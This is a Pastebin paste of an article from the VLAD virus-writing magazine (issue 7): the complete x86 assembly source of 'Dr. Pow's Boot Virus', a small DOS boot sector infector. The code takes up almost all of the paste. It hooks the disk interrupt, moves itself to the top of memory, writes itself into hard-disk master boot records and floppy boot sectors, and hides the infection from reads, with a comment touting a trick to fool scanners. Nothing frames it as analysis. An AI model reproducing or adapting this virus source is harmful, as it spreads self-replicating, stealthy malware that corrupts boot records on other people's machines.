Advertisement
FlyFar

VLAD Magazine - Issue #7 - ARTICLE.2_5 - Dr.Pow's Boot Virus

Jul 2nd, 2023
1,715
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 3.84 KB | Cybersecurity | 0 0
  1. ;       �� ������ �� ��� �������� ���� �����  ������������-� �������� �Ŀ
  2. ;       �                      �B�O�O�T� �V�I�R�U�S�                    �
  3. ;       �         Author:     Dr. Pow                                   �
  4. ;       .         Version:    4.0                                       �
  5. ;       |         Infection:  i13/ah=2,3/cx=0001/dh=00
  6. ;                 Stealth:    i13/ah=2/cx=0001/dh=00                    �
  7. ;                 Size:       242 bytes                                 �
  8. ;       �         Assembler:  A86v4.02                                  �
  9. ;       ��-������ �� ��������� ���� �����  ������������ �  �������� ���ľ
  10.  
  11.         org     0
  12.  
  13. ;�����������������������������������������������;
  14.  
  15.         dw      3CEBh                   ; JMP  SHORT  003F
  16.         db      3Ch dup(0)
  17.  
  18.         cli
  19.         xor     di, di
  20.         mov     ds, di
  21.         mov     ss, di
  22.         mov     sp, 7C00h
  23.  
  24.         mov     si, 412h                ; "Fool the scanner" trick..
  25.         inc     si
  26.         dec     W [si]                  ; Allocate 1Kb memory
  27.         lodsw                           ; Get the top of memory
  28.         mov     cl, 6
  29.         shl     ax, cl                  ; Convert to para
  30.         mov     es, ax
  31.  
  32.         cld
  33.         mov     si, sp                  ; SP=7C00
  34.         mov     cx, 0FEh
  35.         repz    movsw                   ; Move virus to TOM
  36.  
  37.         mov     si, 13h*4
  38.         movsw                           ; Get i13 entry..
  39.         movsw
  40.         mov     W [si-4], offset Hand_13
  41.         mov     W [si-2], es
  42.  
  43.         sti
  44.         int     19h                     ; Reload boot
  45. MyID            db      "-Pow-"
  46.  
  47. ;�����������������������������������������������;
  48.  
  49. ReadDisk:       mov     ax, 0201h
  50.         jmp     short  Do_13
  51. WriteDisk:      mov     ax, 0301h
  52. Do_13:          pushf
  53.         call    D cs:[1FCh]             ; Call i13
  54.         ret
  55.  
  56.  
  57. Hand_13:        mov     B cs:[Function+1], ah   ; Save function number
  58.         call    Do_13                   ; Do their INT
  59.         push    ax, cx, dx, si, di, es, bx
  60.         pushf
  61.  
  62. Function:       mov     al, 00
  63.         dec     ax
  64.         dec     ax                      ; al=0(read), =1(write)
  65.         cmp     al, 1                   ; Write ?
  66.         ja      PopAllExit
  67.         cmp     cx, 1                   ; Cylinder 0, sector 1?
  68.         jnz     PopAllExit
  69.         or      dh, dh                  ; Head 0?
  70.         jnz     PopAllExit
  71.  
  72.         push    ax, cs
  73.         pop     es
  74.         mov     bx, 200h
  75.         call    ReadDisk                ; Read boot to CS:0200
  76.         pop     ax
  77.         jb      PopAllExit              ; Error? Lets abort
  78.  
  79.         inc     cx                      ; Hard disk MBR at 0/0/2
  80.         or      dl, dl
  81.         js      PosOK
  82.         mov     cl, 14                  ; Floppy boot at 0/1/14
  83.         mov     dh, 1
  84.  
  85. PosOK:          cmp     W es:[bx+MyID], 'P-'    ; Am I home?
  86.         jnz     Infect                  ; No? I'm coming!
  87.         or      al, al                  ; Read function?
  88.         jnz     PopAllExit
  89.         popf
  90.         pop     bx, es
  91.         call    ReadDisk                ; Read orig boot in their buffer
  92.         jmp     short  PopDiExit
  93.  
  94. Infect:         call    WriteDisk               ; Write orig boot
  95.         jb      PopAllExit              ; Error? Lets abort
  96.         mov     si, 3Eh
  97.         mov     di, 23Eh
  98.         mov     cl, 0DFh                ; Words to move
  99.         cld
  100.         rep     movsw  cs:              ; Move virus to our buffer
  101.         mov     W es:[bx], 3CEBh        ; Move JMP SHORT opcode
  102.         inc     cx                      ; CX=0001
  103.         mov     dh, 0
  104.         call    WriteDisk               ; Write back infected boot
  105.  
  106. PopAllExit:     popf
  107.         pop     bx, es
  108. PopDiExit:      pop     di, si, dx, cx, ax
  109.         retf    0002o
  110.  
  111.  
  112.  
Tags: virus boot vlad a86
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement